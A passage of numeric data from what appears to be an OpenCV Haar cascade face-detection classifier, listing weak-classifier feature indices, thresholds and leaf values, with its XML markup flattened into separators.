<_> + + 0 -1 2547 -7.9636000096797943e-02 + + -1.3533639907836914e+00 1.5668800473213196e-01 + <_> + + 0 -1 2548 -1.8880000337958336e-02 + + 4.0300300717353821e-01 -2.5148901343345642e-01 + <_> + + 0 -1 2549 -5.0149997696280479e-03 + + -2.6287099719047546e-01 1.8582500517368317e-01 + <_> + + 0 -1 2550 -1.2218000367283821e-02 + + 5.8692401647567749e-01 -1.9427700340747833e-01 + <_> + + 0 -1 2551 1.2710000155493617e-03 + + -1.6688999533653259e-01 2.3006899654865265e-01 + <_> + + 0 -1 2552 2.9743999242782593e-02 + + 1.2520000338554382e-02 -6.6723597049713135e-01 + <_> + + 0 -1 2553 2.8175000101327896e-02 + + -1.7060000449419022e-02 6.4579397439956665e-01 + <_> + + 0 -1 2554 3.0345000326633453e-02 + + -2.4178700149059296e-01 3.4878900647163391e-01 + <_> + + 0 -1 2555 -1.7325999215245247e-02 + + -5.3599399328231812e-01 2.0995999872684479e-01 + <_> + + 0 -1 2556 -8.4178000688552856e-02 + + 7.5093299150466919e-01 -1.7593200504779816e-01 + <_> + + 0 -1 2557 7.4950000271201134e-03 + + -1.6188099980354309e-01 3.0657500028610229e-01 + <_> + + 0 -1 2558 5.6494999676942825e-02 + + -1.7318800091743469e-01 1.0016150474548340e+00 + <_> + + 0 -1 2559 -5.2939997985959053e-03 + + 2.3417599499225616e-01 -6.5347000956535339e-02 + <_> + + 0 -1 2560 -1.4945000410079956e-02 + + 2.5018900632858276e-01 -3.0591198801994324e-01 + <_> + + 0 -1 2561 5.4919000715017319e-02 + + 1.3121999800205231e-01 -9.3765097856521606e-01 + <_> + + 0 -1 2562 -1.9721999764442444e-02 + + -8.3978497982025146e-01 -2.3473000153899193e-02 + <_> + + 0 -1 2563 -6.7158997058868408e-02 + + 2.3586840629577637e+00 8.2970999181270599e-02 + <_> + + 0 -1 2564 -1.4325999654829502e-02 + + 1.8814499676227570e-01 -3.1221601366996765e-01 + <_> + + 0 -1 2565 2.9841000214219093e-02 + + 1.4825099706649780e-01 -8.4681701660156250e-01 + <_> + + 0 -1 2566 5.1883000880479813e-02 + + -4.3731000274419785e-02 -1.3366169929504395e+00 + <_> + + 0 -1 2567 4.1127000004053116e-02 + + 1.7660099267959595e-01 -6.0904097557067871e-01 + <_> + + 0 -1 2568 -1.2865099310874939e-01 + + -9.8701000213623047e-01 -3.7785001099109650e-02 + <_> + + 0 -1 2569 2.4170000106096268e-03 + + -1.6119599342346191e-01 3.2675701379776001e-01 + <_> + + 0 -1 2570 7.7030002139508724e-03 + + -2.3841500282287598e-01 2.9319399595260620e-01 + <_> + + 0 -1 2571 4.5520000159740448e-02 + + 1.4424599707126617e-01 -1.5010160207748413e+00 + <_> + + 0 -1 2572 -7.8700996935367584e-02 + + -1.0394560098648071e+00 -4.5375999063253403e-02 + <_> + + 0 -1 2573 7.8619997948408127e-03 + + 1.9633600115776062e-01 -1.4472399652004242e-01 + <_> + + 0 -1 2574 -1.3458999805152416e-02 + + -9.0634697675704956e-01 -3.8049001246690750e-02 + <_> + + 0 -1 2575 2.8827000409364700e-02 + + -2.9473999515175819e-02 6.0058397054672241e-01 + <_> + + 0 -1 2576 -2.7365999296307564e-02 + + -9.9804002046585083e-01 -3.8653001189231873e-02 + <_> + + 0 -1 2577 -7.2917997837066650e-02 + + 7.3361498117446899e-01 5.7440001517534256e-02 + <_> + + 0 -1 2578 -1.3988999649882317e-02 + + 2.7892601490020752e-01 -2.6516300439834595e-01 + <_> + + 0 -1 2579 4.3242998421192169e-02 + + 4.7760000452399254e-03 3.5925900936126709e-01 + <_> + + 0 -1 2580 2.9533000662922859e-02 + + -2.0083999633789062e-01 5.1202899217605591e-01 + <_> + + 0 -1 2581 -3.1897000968456268e-02 + + 6.4721697568893433e-01 -1.3760000001639128e-03 + <_> + + 0 -1 2582 3.7868998944759369e-02 + + -1.8363800644874573e-01 6.1343097686767578e-01 + <_> + + 0 -1 2583 -2.2417999804019928e-02 + + -2.9187899827957153e-01 1.8194800615310669e-01 + <_> + + 0 -1 2584 5.8958999812602997e-02 + + -6.6451996564865112e-02 -1.9290030002593994e+00 + <_> + + 0 -1 2585 3.1222999095916748e-02 + + -1.2732000090181828e-02 6.1560797691345215e-01 + <_> + + 0 -1 2586 3.7484999746084213e-02 + + -2.0856900513172150e-01 4.4363999366760254e-01 + <_> + + 0 -1 2587 -2.0966000854969025e-02 + + -3.5712799429893494e-01 2.4252200126647949e-01 + <_> + + 0 -1 2588 -2.5477999821305275e-02 + + 1.0846560001373291e+00 -1.5054400265216827e-01 + <_> + + 0 -1 2589 -7.2570000775158405e-03 + + 2.1302600204944611e-01 -1.8308199942111969e-01 + <_> + + 0 -1 2590 -5.0983000546693802e-02 + + 5.1736801862716675e-01 -1.8833099305629730e-01 + <_> + + 0 -1 2591 -2.0640000700950623e-02 + + -4.4030201435089111e-01 2.2745999693870544e-01 + <_> + + 0 -1 2592 1.0672999545931816e-02 + + 3.5059999674558640e-02 -5.1665002107620239e-01 + <_> + + 0 -1 2593 3.1895998865365982e-02 + + 1.3228000141680241e-02 3.4915199875831604e-01 + <_> + + 0 -1 2594 -2.3824999108910561e-02 + + 3.4118801355361938e-01 -2.1510200202465057e-01 + <_> + + 0 -1 2595 -6.0680001042783260e-03 + + 3.2937398552894592e-01 -2.8523799777030945e-01 + <_> + + 0 -1 2596 2.3881999775767326e-02 + + -2.5333800911903381e-01 2.6296100020408630e-01 + <_> + + 0 -1 2597 2.7966000139713287e-02 + + 1.4049099385738373e-01 -4.9887099862098694e-01 + <_> + + 0 -1 2598 1.4603000134229660e-02 + + -1.5395999886095524e-02 -7.6958000659942627e-01 + <_> + + 0 -1 2599 1.0872399806976318e-01 + + 1.9069600105285645e-01 -3.2393100857734680e-01 + <_> + + 0 -1 2600 -1.4038000255823135e-02 + + 3.4924700856208801e-01 -2.2358700633049011e-01 + <_> + + 0 -1 2601 4.0440000593662262e-03 + + -3.8329001516103745e-02 5.1177299022674561e-01 + <_> + + 0 -1 2602 -4.9769999459385872e-03 + + -4.2888298630714417e-01 4.9173999577760696e-02 + <_> + + 0 -1 2603 -8.5183002054691315e-02 + + 6.6624599695205688e-01 7.8079998493194580e-03 + <_> + + 0 -1 2604 2.1559998858720064e-03 + + -4.9135199189186096e-01 6.9555997848510742e-02 + <_> + + 0 -1 2605 3.6384499073028564e-01 + + 1.2997099757194519e-01 -1.8949509859085083e+00 + <_> + + 0 -1 2606 2.2082500159740448e-01 + + -5.7211998850107193e-02 -1.4281120300292969e+00 + <_> + + 0 -1 2607 -1.6140000894665718e-02 + + -5.7589399814605713e-01 1.8062500655651093e-01 + <_> + + 0 -1 2608 -4.8330001533031464e-02 + + 9.7308498620986938e-01 -1.6513000428676605e-01 + <_> + + 0 -1 2609 1.7529999837279320e-02 + + 1.7932699620723724e-01 -2.7948901057243347e-01 + <_> + + 0 -1 2610 -3.4309998154640198e-02 + + -8.1072497367858887e-01 -1.6596000641584396e-02 + <_> + + 0 -1 2611 -4.5830002054572105e-03 + + 2.7908998727798462e-01 -7.4519999325275421e-03 + <_> + + 0 -1 2612 1.2896400690078735e-01 + + -1.3508500158786774e-01 2.5411539077758789e+00 + <_> + + 0 -1 2613 3.0361000448465347e-02 + + -6.8419001996517181e-02 2.8734099864959717e-01 + <_> + + 0 -1 2614 4.4086001813411713e-02 + + -1.8135899305343628e-01 6.5413200855255127e-01 + <_> + + 0 -1 2615 3.0159999150782824e-03 + + -1.5690499544143677e-01 2.6963800191879272e-01 + <_> + + 0 -1 2616 -2.6336999610066414e-02 + + 2.9175600409507751e-01 -2.5274100899696350e-01 + <_> + + 0 -1 2617 -2.7866000309586525e-02 + + 4.4387501478195190e-01 5.5038001388311386e-02 + <_> + + 0 -1 2618 1.1725000105798244e-02 + + -1.9346499443054199e-01 4.6656700968742371e-01 + <_> + + 0 -1 2619 1.5689999563619494e-03 + + -8.2360003143548965e-03 2.5700899958610535e-01 + <_> + + 0 -1 2620 -3.5550000611692667e-03 + + -4.2430898547172546e-01 7.1174003183841705e-02 + <_> + + 0 -1 2621 -3.1695000827312469e-02 + + -8.5393500328063965e-01 1.6916200518608093e-01 + <_> + + 0 -1 2622 -3.2097000628709793e-02 + + 8.3784902095794678e-01 -1.7597299814224243e-01 + <_> + + 0 -1 2623 1.5544199943542480e-01 + + 9.9550001323223114e-02 2.3873300552368164e+00 + <_> + + 0 -1 2624 8.8045999407768250e-02 + + -1.8725299835205078e-01 6.2384301424026489e-01 + <_> + + 0 -1 2625 -1.6720000421628356e-03 + + 2.5008699297904968e-01 -6.5118998289108276e-02 + <_> + + 0 -1 2626 9.3409996479749680e-03 + + -3.5378900170326233e-01 1.0715000331401825e-01 + <_> + + 0 -1 2627 3.7138000130653381e-02 + + 1.6387000679969788e-01 -9.1718399524688721e-01 + <_> + + 0 -1 2628 8.0183997750282288e-02 + + -1.4812999963760376e-01 1.4895190000534058e+00 + <_> + + 0 -1 2629 -7.9100002767518163e-04 + + -2.1326899528503418e-01 1.9676400721073151e-01 + <_> + + 0 -1 2630 -5.0400001928210258e-03 + + -7.1318697929382324e-01 1.8240000354126096e-03 + <_> + + 0 -1 2631 1.1962399631738663e-01 + + 3.3098999410867691e-02 1.0441709756851196e+00 + <_> + + 0 -1 2632 -4.5280000194907188e-03 + + -2.7308499813079834e-01 2.7229800820350647e-01 + <_> + + 0 -1 2633 -2.9639000073075294e-02 + + 3.6225798726081848e-01 5.6795001029968262e-02 + <_> + + 0 -1 2634 2.6650000363588333e-02 + + -4.8041000962257385e-02 -9.6723502874374390e-01 + <_> + + 0 -1 2635 4.4422000646591187e-02 + + 1.3052900135517120e-01 -3.5077300667762756e-01 + <_> + + 0 -1 2636 -2.4359999224543571e-02 + + -1.0766899585723877e+00 -5.1222998648881912e-02 + <_> + + 0 -1 2637 1.9734999164938927e-02 + + 2.6238000020384789e-02 2.8070500493049622e-01 + <_> + + 0 -1 2638 5.4930001497268677e-03 + + -2.6111298799514771e-01 2.1011400222778320e-01 + <_> + + 0 -1 2639 -2.3200300335884094e-01 + + -1.7748440504074097e+00 1.1482600122690201e-01 + <_> + + 0 -1 2640 -2.5614000856876373e-02 + + 2.9900801181793213e-01 -2.2502499818801880e-01 + <_> + + 0 -1 2641 -6.4949998632073402e-03 + + 1.9563800096511841e-01 -9.9762998521327972e-02 + <_> + + 0 -1 2642 3.9840000681579113e-03 + + -4.3021500110626221e-01 8.1261001527309418e-02 + <_> + + 0 -1 2643 -3.5813000053167343e-02 + + -5.0987398624420166e-01 1.6345900297164917e-01 + <_> + + 0 -1 2644 -1.4169000089168549e-02 + + 7.7978098392486572e-01 -1.7476299405097961e-01 + <_> + + 0 -1 2645 -1.2642100453376770e-01 + + -6.3047897815704346e-01 1.2728300690650940e-01 + <_> + + 0 -1 2646 6.8677999079227448e-02 + + -4.6447999775409698e-02 -1.1128979921340942e+00 + <_> + + 0 -1 2647 8.5864998400211334e-02 + + 1.1835400015115738e-01 -4.8235158920288086e+00 + <_> + + 0 -1 2648 1.5511999838054180e-02 + + -1.7467999830842018e-02 -6.3693398237228394e-01 + <_> + + 0 -1 2649 8.1091001629829407e-02 + + 8.6133003234863281e-02 2.4559431076049805e+00 + <_> + + 0 -1 2650 1.8495000898838043e-02 + + 4.0229000151157379e-02 -5.0858199596405029e-01 + <_> + + 0 -1 2651 -8.6320996284484863e-02 + + -1.9006760120391846e+00 1.1019100248813629e-01 + <_> + + 0 -1 2652 7.2355002164840698e-02 + + -6.2111999839544296e-02 -1.4165179729461670e+00 + <_> + + 0 -1 2653 -7.8179001808166504e-02 + + 8.8849300146102905e-01 4.2369998991489410e-02 + <_> + + 0 -1 2654 9.6681997179985046e-02 + + -2.2094200551509857e-01 3.3575099706649780e-01 + <_> + + 0 -1 2655 -3.9875999093055725e-02 + + 5.7804799079895020e-01 4.5347999781370163e-02 + <_> + + 0 -1 2656 -9.5349997282028198e-03 + + -5.4175698757171631e-01 3.2399999909102917e-03 + <_> + + 0 -1 2657 4.0600000647827983e-04 + + -8.1549003720283508e-02 3.5837900638580322e-01 + <_> + + 0 -1 2658 1.2107999995350838e-02 + + -2.0280399918556213e-01 4.3768000602722168e-01 + <_> + + 0 -1 2659 -2.0873999223113060e-02 + + 4.1469898819923401e-01 -4.5568000525236130e-02 + <_> + + 0 -1 2660 5.7888001203536987e-02 + + -2.9009999707341194e-02 -9.1822302341461182e-01 + <_> + + 0 -1 2661 1.3200000103097409e-04 + + -1.1772400140762329e-01 2.0000000298023224e-01 + <_> + + 0 -1 2662 -1.7137000337243080e-02 + + 3.3004799485206604e-01 -2.3055200278759003e-01 + <_> + + 0 -1 2663 3.0655000358819962e-02 + + -2.1545000374317169e-02 2.6878198981285095e-01 + <_> + + 0 -1 2664 -7.8699999721720815e-04 + + -4.4100698828697205e-01 4.9157999455928802e-02 + <_> + + 0 -1 2665 8.8036999106407166e-02 + + 1.1782000213861465e-01 -2.8293309211730957e+00 + <_> + + 0 -1 2666 -3.9028998464345932e-02 + + 9.1777199506759644e-01 -1.5827399492263794e-01 + <_> + + 0 -1 2667 8.0105997622013092e-02 + + 1.1289200186729431e-01 -1.9937280416488647e+00 + <_> + + 0 -1 2668 3.9538998156785965e-02 + + -1.4357399940490723e-01 1.3085240125656128e+00 + <_> + + 0 -1 2669 2.0684000104665756e-02 + + 2.0048099756240845e-01 -4.4186998158693314e-02 + <_> + + 0 -1 2670 -6.7037999629974365e-02 + + 3.2618600130081177e-01 -2.0550400018692017e-01 + <_> + + 0 -1 2671 4.6815000474452972e-02 + + 1.5825299918651581e-01 -9.5535099506378174e-01 + <_> + + 0 -1 2672 7.8443996608257294e-02 + + -7.4651002883911133e-02 -2.1161499023437500e+00 + <_> + + 0 -1 2673 6.6380001604557037e-02 + + 1.1641900241374969e-01 -1.6113519668579102e+00 + <_> + + 0 -1 2674 3.0053999274969101e-02 + + -1.6562600433826447e-01 7.0025402307510376e-01 + <_> + + 0 -1 2675 1.7119999974966049e-02 + + 2.2627699375152588e-01 -4.0114998817443848e-01 + <_> + + 0 -1 2676 2.0073000341653824e-02 + + -1.9389699399471283e-01 4.4420298933982849e-01 + <_> + + 0 -1 2677 3.3101998269557953e-02 + + 1.1637499928474426e-01 -1.5771679878234863e+00 + <_> + + 0 -1 2678 -1.4882000163197517e-02 + + -8.9680302143096924e-01 -4.2010001838207245e-02 + <_> + + 0 -1 2679 -1.0281000286340714e-02 + + 3.5602998733520508e-01 -1.3124000281095505e-02 + <_> + + 0 -1 2680 -2.8695000335574150e-02 + + -4.6039599180221558e-01 2.6801999658346176e-02 + <_> + + 0 -1 2681 -4.7189998440444469e-03 + + 2.3788799345493317e-01 -6.5518997609615326e-02 + <_> + + 0 -1 2682 3.2201600074768066e-01 + + -2.8489999473094940e-02 -8.4234601259231567e-01 + <_> + + 0 -1 2683 -1.7045000568032265e-02 + + -5.0938802957534790e-01 1.6057600080966949e-01 + <_> + + 0 -1 2684 -7.3469998314976692e-03 + + -5.4154998064041138e-01 4.7320001758635044e-03 + <_> + + 0 -1 2685 -3.0001999810338020e-02 + + -8.8785797357559204e-01 1.3621799647808075e-01 + <_> + + 0 -1 2686 -1.1292999610304832e-02 + + 8.0615198612213135e-01 -1.6159500181674957e-01 + <_> + + 0 -1 2687 4.7749998047947884e-03 + + 1.2968000024557114e-02 5.5079901218414307e-01 + <_> + + 0 -1 2688 5.0710001960396767e-03 + + -4.5728001743555069e-02 -1.0766259431838989e+00 + <_> + + 0 -1 2689 1.9344100356101990e-01 + + 7.1262001991271973e-02 1.1694519519805908e+00 + <_> + + 0 -1 2690 5.3750001825392246e-03 + + -1.9736200571060181e-01 3.8206899166107178e-01 + <_> + + 0 -1 2691 -6.8276003003120422e-02 + + -5.4372339248657227e+00 1.1151900142431259e-01 + <_> + + 0 -1 2692 -3.4933000802993774e-02 + + 4.4793400168418884e-01 -1.8657900393009186e-01 + <_> + + 0 -1 2693 5.1219998858869076e-03 + + -1.4871999621391296e-02 1.8413899838924408e-01 + <_> + + 0 -1 2694 9.5311999320983887e-02 + + -1.5117099881172180e-01 9.4991499185562134e-01 + <_> + + 0 -1 2695 -6.2849000096321106e-02 + + 4.6473601460456848e-01 3.8405001163482666e-02 + <_> + + 0 -1 2696 -1.7040699720382690e-01 + + -1.6499999761581421e+00 -6.3236996531486511e-02 + <_> + + 0 -1 2697 1.0583999566733837e-02 + + -3.8348998874425888e-02 4.1913801431655884e-01 + <_> + + 0 -1 2698 -4.1579000651836395e-02 + + 3.4461900591850281e-01 -2.1187700331211090e-01 + <_> + + 0 -1 2699 1.2718600034713745e-01 + + 1.2398199737071991e-01 -2.1254889965057373e+00 + <_> + + 0 -1 2700 8.2557000219821930e-02 + + -6.2024001032114029e-02 -1.4875819683074951e+00 + <_> + + 0 -1 2701 8.5293002426624298e-02 + + 1.7087999731302261e-02 3.2076600193977356e-01 + <_> + + 0 -1 2702 5.5544000118970871e-02 + + -2.7414000034332275e-01 1.8976399302482605e-01 + <_> + + 0 -1 2703 4.5650000683963299e-03 + + -1.7920200526714325e-01 2.7967301011085510e-01 + <_> + + 0 -1 2704 1.2997999787330627e-02 + + -3.2297500967979431e-01 2.6941800117492676e-01 + <_> + + 0 -1 2705 5.7891998440027237e-02 + + 1.2644399702548981e-01 -6.0713499784469604e-01 + <_> + + 0 -1 2706 -2.2824000567197800e-02 + + -4.9682098627090454e-01 2.2376999258995056e-02 + <_> + + 0 -1 2707 4.8312000930309296e-02 + + 4.3607000261545181e-02 4.8537799715995789e-01 + <_> + + 0 -1 2708 2.5714000687003136e-02 + + -4.2950998991727829e-02 -9.3023502826690674e-01 + <_> + + 0 -1 2709 6.9269998930394650e-03 + + -2.9680000152438879e-03 3.4296301007270813e-01 + <_> + + 0 -1 2710 -3.4446999430656433e-02 + + -1.5299769639968872e+00 -6.1014998704195023e-02 + <_> + + 0 -1 2711 2.9387999325990677e-02 + + 3.7595998495817184e-02 6.4172399044036865e-01 + <_> + + 0 -1 2712 -2.4319998919963837e-03 + + 9.9088996648788452e-02 -3.9688101410865784e-01 + <_> + 200 + -2.9928278923034668e+00 + + <_> + + 0 -1 2713 -9.5944002270698547e-02 + + 6.2419098615646362e-01 -4.5875200629234314e-01 + <_> + + 0 -1 2714 1.6834000125527382e-02 + + -9.3072801828384399e-01 2.1563600003719330e-01 + <_> + + 0 -1 2715 2.6049999520182610e-02 + + -4.0532299876213074e-01 4.2256599664688110e-01 + <_> + + 0 -1 2716 3.6500001442618668e-04 + + 9.5288001000881195e-02 -6.3298100233078003e-01 + <_> + + 0 -1 2717 -6.6940002143383026e-03 + + 3.7243801355361938e-01 -3.0332401394844055e-01 + <_> + + 0 -1 2718 1.8874000757932663e-02 + + -2.3357200622558594e-01 4.0330699086189270e-01 + <_> + + 0 -1 2719 -1.6300000424962491e-04 + + 4.2886998504400253e-02 -7.7796798944473267e-01 + <_> + + 0 -1 2720 -7.6259002089500427e-02 + + -4.9628499150276184e-01 1.6335399448871613e-01 + <_> + + 0 -1 2721 5.0149001181125641e-02 + + 3.2747000455856323e-02 -8.0047899484634399e-01 + <_> + + 0 -1 2722 -2.9239999130368233e-03 + + -5.0002801418304443e-01 2.5480601191520691e-01 + <_> + + 0 -1 2723 1.6243999823927879e-02 + + 3.8913000375032425e-02 -7.0724898576736450e-01 + <_> + + 0 -1 2724 3.7811998277902603e-02 + + -6.6267997026443481e-02 7.3868799209594727e-01 + <_> + + 0 -1 2725 -1.2319999746978283e-02 + + 4.8696398735046387e-01 -2.4485599994659424e-01 + <_> + + 0 -1 2726 5.8003999292850494e-02 + + 1.3459099829196930e-01 -1.3232100009918213e-01 + <_> + + 0 -1 2727 4.8630000092089176e-03 + + -4.4172900915145874e-01 1.4005599915981293e-01 + <_> + + 0 -1 2728 4.5690998435020447e-02 + + 3.1217999756336212e-02 8.9818298816680908e-01 + <_> + + 0 -1 2729 2.1321000531315804e-02 + + 1.2008000165224075e-02 -8.6066198348999023e-01 + <_> + + 0 -1 2730 1.5679100155830383e-01 + + 1.4055999927222729e-02 8.5332900285720825e-01 + <_> + + 0 -1 2731 -1.0328999720513821e-02 + + 2.9022800922393799e-01 -2.9478800296783447e-01 + <_> + + 0 -1 2732 2.4290001019835472e-03 + + -4.0439900755882263e-01 1.9400200247764587e-01 + <_> + + 0 -1 2733 -2.3338999599218369e-02 + + 3.2945200800895691e-01 -2.5712698698043823e-01 + <_> + + 0 -1 2734 -6.8970001302659512e-03 + + -5.3352999687194824e-01 2.1635200083255768e-01 + <_> + + 0 -1 2735 -3.4403000026941299e-02 + + -1.4425489902496338e+00 -4.4682998210191727e-02 + <_> + + 0 -1 2736 -2.1235000342130661e-02 + + -7.9017502069473267e-01 1.9084100425243378e-01 + <_> + + 0 -1 2737 2.0620001014322042e-03 + + -2.6931199431419373e-01 3.1488001346588135e-01 + <_> + + 0 -1 2738 -4.2190002277493477e-03 + + -5.4464399814605713e-01 1.6574600338935852e-01 + <_> + + 0 -1 2739 -1.4334999956190586e-02 + + 2.2105000913143158e-02 -6.2342500686645508e-01 + <_> + + 0 -1 2740 -8.2120001316070557e-03 + + -4.9884998798370361e-01 1.9237099587917328e-01 + <_> + + 0 -1 2741 -9.3350000679492950e-03 + + -7.9131197929382324e-01 -1.4143999665975571e-02 + <_> + + 0 -1 2742 -3.7937998771667480e-02 + + 7.9841297864913940e-01 -3.3799000084400177e-02 + <_> + + 0 -1 2743 4.7059999778866768e-03 + + -3.3163401484489441e-01 2.0726299285888672e-01 + <_> + + 0 -1 2744 -4.4499998912215233e-03 + + -2.7256301045417786e-01 1.8402199447154999e-01 + <_> + + 0 -1 2745 5.2189999260008335e-03 + + -5.3096002340316772e-01 5.2607998251914978e-02 + <_> + + 0 -1 2746 -9.5399999991059303e-03 + + -5.6485402584075928e-01 1.9269399344921112e-01 + <_> + + 0 -1 2747 4.4969998300075531e-02 + + -1.7411500215530396e-01 9.5382601022720337e-01 + <_> + + 0 -1 2748 1.4209000393748283e-02 + + -9.1949000954627991e-02 2.4836100637912750e-01 + <_> + + 0 -1 2749 1.6380199790000916e-01 + + -5.8497000485658646e-02 -1.6404409408569336e+00 + <_> + + 0 -1 2750 2.5579999200999737e-03 + + 2.3447999358177185e-01 -9.2734001576900482e-02 + <_> + + 0 -1 2751 -3.8499999791383743e-03 + + 1.7880700528621674e-01 -3.5844099521636963e-01 + <_> + + 0 -1 2752 -2.5221999734640121e-02 + + -4.2903000116348267e-01 2.0244500041007996e-01 + <_> + + 0 -1 2753 -1.9415000453591347e-02 + + 5.8016300201416016e-01 -1.8806399405002594e-01 + <_> + + 0 -1 2754 1.4419999904930592e-02 + + 3.2846998423337936e-02 8.1980502605438232e-01 + <_> + + 0 -1 2755 5.1582999527454376e-02 + + 6.9176003336906433e-02 -4.5866298675537109e-01 + <_> + + 0 -1 2756 -3.7960000336170197e-02 + + -1.2553000450134277e+00 1.4332899451255798e-01 + <_> + + 0 -1 2757 -2.9560999944806099e-02 + + 5.3151798248291016e-01 -2.0596499741077423e-01 + <_> + + 0 -1 2758 -3.9110999554395676e-02 + + 1.1658719778060913e+00 5.3897000849246979e-02 + <_> + + 0 -1 2759 -2.9159000143408775e-02 + + 3.9307600259780884e-01 -2.2184500098228455e-01 + <_> + + 0 -1 2760 -8.3617001771926880e-02 + + -7.3744499683380127e-01 1.4268200099468231e-01 + <_> + + 0 -1 2761 4.2004001140594482e-01 + + -1.4277400076389313e-01 1.7894840240478516e+00 + <_> + + 0 -1 2762 6.0005001723766327e-02 + + 1.1976700276136398e-01 -1.8886189460754395e+00 + <_> + + 0 -1 2763 -1.8981000408530235e-02 + + -1.4148449897766113e+00 -5.6522998958826065e-02 + <_> + + 0 -1 2764 -6.0049998573958874e-03 + + 4.4170799851417542e-01 -1.0200800001621246e-01 + <_> + + 0 -1 2765 -5.8214001357555389e-02 + + -1.3918470144271851e+00 -4.8268999904394150e-02 + <_> + + 0 -1 2766 -1.2271000072360039e-02 + + 5.1317697763442993e-01 -9.3696996569633484e-02 + <_> + + 0 -1 2767 4.6585999429225922e-02 + + -5.7484000921249390e-02 -1.4283169507980347e+00 + <_> + + 0 -1 2768 1.2110000243410468e-03 + + -8.0891996622085571e-02 3.2333201169967651e-01 + <_> + + 0 -1 2769 -8.8642001152038574e-02 + + -8.6449098587036133e-01 -3.3146999776363373e-02 + <_> + + 0 -1 2770 -2.3184999823570251e-02 + + 5.2162200212478638e-01 -1.6168000176548958e-02 + <_> + + 0 -1 2771 4.3090000748634338e-02 + + -1.6153800487518311e-01 1.0915000438690186e+00 + <_> + + 0 -1 2772 2.0599999697878957e-04 + + -1.7091499269008636e-01 3.1236699223518372e-01 + <_> + + 0 -1 2773 8.9159999042749405e-03 + + -6.7039998248219490e-03 -6.8810397386550903e-01 + <_> + + 0 -1 2774 -1.7752999439835548e-02 + + 6.3292801380157471e-01 -4.2360001243650913e-03 + <_> + + 0 -1 2775 6.2299999408423901e-03 + + -3.3637198805809021e-01 1.2790599465370178e-01 + <_> + + 0 -1 2776 2.2770000621676445e-02 + + -3.4703999757766724e-02 3.9141800999641418e-01 + <_> + + 0 -1 2777 -2.1534999832510948e-02 + + 6.4765101671218872e-01 -2.0097799599170685e-01 + <_> + + 0 -1 2778 6.1758998781442642e-02 + + 5.4297000169754028e-02 9.0700101852416992e-01 + <_> + + 0 -1 2779 -7.8069999814033508e-02 + + 6.5523397922515869e-01 -1.9754399359226227e-01 + <_> + + 0 -1 2780 1.1315000243484974e-02 + + 1.9385300576686859e-01 -5.1707297563552856e-01 + <_> + + 0 -1 2781 -2.5590000674128532e-02 + + -9.3096500635147095e-01 -3.1546998769044876e-02 + <_> + + 0 -1 2782 -3.8058999925851822e-02 + + -6.8326902389526367e-01 1.2709100544452667e-01 + <_> + + 0 -1 2783 9.7970003262162209e-03 + + 1.5523999929428101e-02 -6.3347899913787842e-01 + <_> + + 0 -1 2784 -1.3841999694705009e-02 + + 1.0060529708862305e+00 6.2812998890876770e-02 + <_> + + 0 -1 2785 8.3459997549653053e-03 + + -2.3383200168609619e-01 3.0982699990272522e-01 + <_> + + 0 -1 2786 -7.1439996361732483e-02 + + -7.2505402565002441e-01 1.7148299515247345e-01 + <_> + + 0 -1 2787 1.0006000287830830e-02 + + -2.2071999311447144e-01 3.5266199707984924e-01 + <_> + + 0 -1 2788 1.1005300283432007e-01 + + 1.6662000119686127e-01 -7.4318999052047729e-01 + <_> + + 0 -1 2789 3.5310998558998108e-02 + + -2.3982700705528259e-01 4.1435998678207397e-01 + <_> + + 0 -1 2790 -1.1174699664115906e-01 + + 5.1045399904251099e-01 2.2319999989122152e-03 + <_> + + 0 -1 2791 -1.1367800086736679e-01 + + 9.0475201606750488e-01 -1.6615299880504608e-01 + <_> + + 0 -1 2792 1.6667999327182770e-02 + + 1.4024500548839569e-01 -5.2178502082824707e-01 + <_> + + 0 -1 2793 -8.0340001732110977e-03 + + -6.6178399324417114e-01 3.7640000227838755e-03 + <_> + + 0 -1 2794 -3.3096998929977417e-02 + + 8.0185902118682861e-01 5.9385001659393311e-02 + <_> + + 0 -1 2795 1.2547999620437622e-02 + + -3.3545500040054321e-01 1.4578600227832794e-01 + <_> + + 0 -1 2796 -4.2073998600244522e-02 + + -5.5509102344512939e-01 1.3266600668430328e-01 + <_> + + 0 -1 2797 2.5221999734640121e-02 + + -6.1631999909877777e-02 -1.3678770065307617e+00 + <_> + + 0 -1 2798 -2.4268999695777893e-02 + + 3.4185099601745605e-01 -7.4160001240670681e-03 + <_> + + 0 -1 2799 -1.2280000373721123e-02 + + 2.7745801210403442e-01 -3.1033900380134583e-01 + <_> + + 0 -1 2800 -1.1377099901437759e-01 + + 1.1719540357589722e+00 8.3681002259254456e-02 + <_> + + 0 -1 2801 -8.4771998226642609e-02 + + 8.1694799661636353e-01 -1.7837500572204590e-01 + <_> + + 0 -1 2802 -2.4552000686526299e-02 + + -1.8627299368381500e-01 1.4340099692344666e-01 + <_> + + 0 -1 2803 -9.0269995853304863e-03 + + 3.2659199833869934e-01 -2.3541299998760223e-01 + <_> + + 0 -1 2804 1.1177999898791313e-02 + + 1.9761200249195099e-01 -2.1701000630855560e-02 + <_> + + 0 -1 2805 -2.9366999864578247e-02 + + -9.3414801359176636e-01 -2.1704999729990959e-02 + <_> + + 0 -1 2806 6.3640000298619270e-03 + + 2.5573000311851501e-02 4.6412798762321472e-01 + <_> + + 0 -1 2807 1.4026000164449215e-02 + + -2.1228599548339844e-01 4.0078800916671753e-01 + <_> + + 0 -1 2808 -1.3341999612748623e-02 + + 7.4202698469161987e-01 2.9001999646425247e-02 + <_> + + 0 -1 2809 2.8422799706459045e-01 + + -1.9243599474430084e-01 4.3631199002265930e-01 + <_> + + 0 -1 2810 -2.3724000155925751e-01 + + 6.9736397266387939e-01 6.9307997822761536e-02 + <_> + + 0 -1 2811 -1.1169700324535370e-01 + + 3.9147201180458069e-01 -2.0922000706195831e-01 + <_> + + 0 -1 2812 1.2787500023841858e-01 + + -7.2555996477603912e-02 3.6088201403617859e-01 + <_> + + 0 -1 2813 -6.2900997698307037e-02 + + 9.5424997806549072e-01 -1.5402799844741821e-01 + <_> + + 0 -1 2814 1.7439000308513641e-02 + + -5.1134999841451645e-02 2.7750301361083984e-01 + <_> + + 0 -1 2815 1.2319999514147639e-03 + + 7.5627997517585754e-02 -3.6456099152565002e-01 + <_> + + 0 -1 2816 2.7495000511407852e-02 + + 5.1844000816345215e-02 4.1562598943710327e-01 + <_> + + 0 -1 2817 -4.3543998152017593e-02 + + 7.1969997882843018e-01 -1.7132200300693512e-01 + <_> + + 0 -1 2818 1.1025999672710896e-02 + + 1.4354600012302399e-01 -6.5403002500534058e-01 + <_> + + 0 -1 2819 2.0865999162197113e-02 